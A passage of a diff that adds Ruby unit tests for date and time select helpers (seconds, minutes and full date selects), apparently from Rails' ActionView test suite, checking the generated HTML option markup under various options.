+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: { minute: "my-minute" })
+  end
+
+  def test_select_second
+    expected = %(<select id="date_second" name="date[second]">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_second_with_disabled
+    expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), disabled: true)
+  end
+
+  def test_select_second_with_field_name_override
+    expected = %(<select id="date_segundo" name="date[segundo]">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), field_name: "segundo")
+  end
+
+  def test_select_second_with_blank
+    expected = %(<select id="date_second" name="date[second]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true)
+  end
+
+  def test_select_second_nil_with_blank
+    expected = %(<select id="date_second" name="date[second]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(nil, include_blank: true)
+  end
+
+  def test_select_second_with_html_options
+    expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector", accesskey: "M")
+  end
+
+  def test_select_second_with_default_prompt
+    expected = %(<select id="date_second" name="date[second]">\n).dup
+    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), prompt: true)
+  end
+
+  def test_select_second_with_custom_prompt
+    expected = %(<select id="date_second" name="date[second]">\n).dup
+    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), prompt: "Choose seconds")
+  end
+
+  def test_select_second_with_generic_with_css_classes
+    expected = %(<select id="date_second" name="date[second]" class="second">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: true)
+  end
+
+  def test_select_second_with_custom_with_css_classes
+    expected = %(<select id="date_second" name="date[second]" class="my-second">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: { second: "my-second" })
+  end
+
+  def test_select_date
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, prefix: "date[first]")
+  end
+
+  def test_select_date_with_too_big_range_between_start_year_and_end_year
+    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), start_year: 2000, end_year: 20000, prefix: "date[first]", order: [:month, :day, :year]) }
+    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), start_year: 100, end_year: 2000, prefix: "date[first]", order: [:month, :day, :year]) }
+  end
+
+  def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
+    assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), start_year: 2000, end_year: 3100, max_years_allowed: 2000) }
+  end
+
+  def test_select_date_with_order
+    expected = %(<select id="date_first_month" name="date[first][month]">\n).dup
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, prefix: "date[first]", order: [:month, :day, :year])
+  end
+
+  def test_select_date_with_incomplete_order
+    # Since the order is incomplete nothing will be shown
+    expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n).dup
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, prefix: "date[first]", order: [:day])
+  end
+
+  def test_select_date_with_disabled
+    expected =  %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, prefix: "date[first]", disabled: true)
+  end
+
+  def test_select_date_with_no_start_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 1) do |y|
+      if y == Date.today.year
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(Date.today.year, 8, 16), end_year: Date.today.year + 1, prefix: "date[first]"
+    )
+  end
+
+  def test_select_date_with_no_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    2003.upto(2008) do |y|
+      if y == 2003
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(2003, 8, 16), start_year: 2003, prefix: "date[first]"
+    )
+  end
+
+  def test_select_date_with_no_start_or_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 5) do |y|
+      if y == Date.today.year
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
